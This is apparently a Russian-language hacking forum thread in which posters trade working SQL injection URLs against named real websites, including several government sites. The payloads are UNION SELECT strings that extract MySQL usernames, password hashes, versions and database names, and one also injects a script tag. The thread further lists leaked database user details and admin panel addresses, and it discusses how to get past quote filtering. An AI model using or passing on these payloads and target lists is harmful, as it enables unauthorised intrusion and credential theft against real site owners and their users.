SQL Инъекции

Code:

http://[SIZE=4][COLOR=Green]www.quintum.com[/COLOR][/SIZE]/news/press.html?id=490%20union%20select%201,2,user,4,5,6,7,8,9,10%20from%20mysql.user%20limit%200,1/*

 

Code:

http://www.artiks.ru/1c_info.php?group_id=72+and+1=1/*

Дальше не пробовал. Мало времени.

 

http://www.tam.ca.gov

Code:

http://www.tam.ca.gov/view.php?id=-1+union+select+1,2,version(),4

 

_http://galagraphics.kz/portfolio.php?id=11+union+select+1,2,3,4,5,6,7,8,9,0/*
_http://www.emercomrb.bashnet.ru/risla/index.php?p=-1243+union+select+1,password,3,4+from+mysql.user/*
_http://www.rudtp.ru/articles.php?id=+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
_http://www.fhr.ru/news_vishaya/?id='+union+select+1,2,user(),4,5/*

 

узер Uwww3239S@localhost
имя udb3239
версия 4.1.21
http://www.pbaconsult.com/admin/ админка
блин 4-ая база, чё то не получается юзеров найти

 

onami.us

Code:

http://www.onami.us/events/event.php?id=-1+union+select+1,2,3,4,5,6/*

 

Cкульщики на ачате работаю только через Антибоян

Code:

http://www.mycow.eu/article.php?id=528+union+select+1,2,user(),4,5,version(),database()/*

Code:

http://www.articles.5mm.eu/index.php?id=-160+union+select+1,2,3,4/*

 

профайл
http://www.propovednik.ru/admin.php
админка

 

_http://www.marumi-filter.ru/shop/?id=userid='
_http://www.avia.ru/safety/?id=+union+select+1,2,3,4,5,6,7,8,9,0,1/*
_http://www.akademokna.ru/pages.php?id='+union+select+1,2,3,4,5,5,6,7,8,9,0,1,2,3,4,5/*

 

Но ведь столбцы то не подобранны как бы... Ни в третей, ни во второй.

 

Мм.....где ты подобрал?

Code:

http://www.akademokna.ru/pages.php?id=-2+union+select+1,concat_ws(char(58),user(),database(),version())/*

 

по пассам и юзерам подобрать можно т.к база 4-ой версии

 

5-ая

кавычки фильтруются, поэтому в аски кодах название таблицы, и так же перебор по лимитам

пассы

юзеры

 

Code:

http://biomolecula.ru/?page=content&id=-74+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9/*

Code:

http://www.impactsoft.ru/clients.php?razdel_id=1+union+select+1,AES_DECRYPT(AES_ENCRYPT(convert(concat_ws(0x3a,version(),database(),user())+using+cp1251),0x71),0x71),3,4,5,6,7,8,9/*

 

Code:

http://www.cebucity.gov.ph/?pageno=12&bac=-12345+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

Code:

http://www.chubut.gov.ar/tramites/descripcion_imprimir.php?id=-12345+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*

 

Code:

http://ethology.ru/humor/?id=-1+union+select+1,2,3,version(),5/*

Code:

http://happyland.ru/brands.php?id=-2+union+select+1,version(),3,'<script>alert()</script>',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

 

Code:

http://www.kaosweaver.com/extensions/details.php?id=1+and+ascii(lower(substring(version(),1,1)))=0x34/*

MySQL 4.x
лень подбирать столбцы

 

ща покопаю её

 

vcam.ru

Code:

http://vcam.ru/index.php?id=-1+union+select+user()/*

 

Code:

http://[SIZE=4][COLOR=Blue]www.recyclemetals.org[/COLOR][/SIZE]/news_archive_item.php?id=430%20union%20select%201,ID,3,4,5,6%20from%20bmra_users/*